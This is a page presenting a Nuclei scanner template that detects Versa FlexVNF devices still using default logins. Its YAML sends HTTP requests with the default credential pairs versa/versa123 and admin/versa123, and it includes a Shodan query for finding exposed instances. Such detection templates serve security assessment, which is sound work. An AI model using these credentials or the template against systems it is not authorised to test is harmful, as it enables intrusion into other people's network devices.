Versa FlexVNF - Default Login

ID: versa-flexvnf-default-login

Severity: high

Author: c-sh0

Tags: default-login,versa,flexvnf

Description

Versa FlexVNF contains a default login vulnerability. An attacker can obtain access to user accounts and access sensitive information, modify data, and/or execute unauthorized operations.

YAML Source

id: versa-flexvnf-default-login

info:
  name: Versa FlexVNF - Default Login
  author: c-sh0
  severity: high
  description: Versa FlexVNF contains a default login vulnerability. An attacker can obtain access to user accounts and access sensitive information, modify data, and/or execute unauthorized operations.
  reference:
    - https://versa-networks.com/products/
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L
    cvss-score: 8.3
    cwe-id: CWE-522
    cpe: cpe:2.3:o:versa-networks:versa_operating_system:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 4
    shodan-query: title:"Flex VNF Web-UI"
    product: versa_operating_system
    vendor: versa-networks
  tags: default-login,versa,flexvnf

http:
  - raw:
      - |
        GET /authenticate HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /authenticate HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json;charset=UTF-8
        CSRF-Token: {{xsrf_token}}

        {"username":"{{username}}","password":"{{password}}"}

    attack: pitchfork
    payloads:
      username:
        - versa
        - admin
      password:
        - versa123
        - versa123
    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "{\"username\":\"{{username}}\",\"error\":false}"

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        name: xsrf_token
        group: 1
        internal: true
        part: header
        regex:
          - '(?i)Set-Cookie: XSRF-TOKEN=([A-Za-z0-9_.-]+)'
# digest: 490a004630440220105d318cffcd0a14f5f936ff9e8a8af2779e634abfb8c1d3f3e7313626ee29bd022032a94bc70fdedd433fa04d883ee1ab7e2a096e625f317a95d97ee8b0775c625b:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/default-logins/versa/versa-flexvnf-default-login.yaml"

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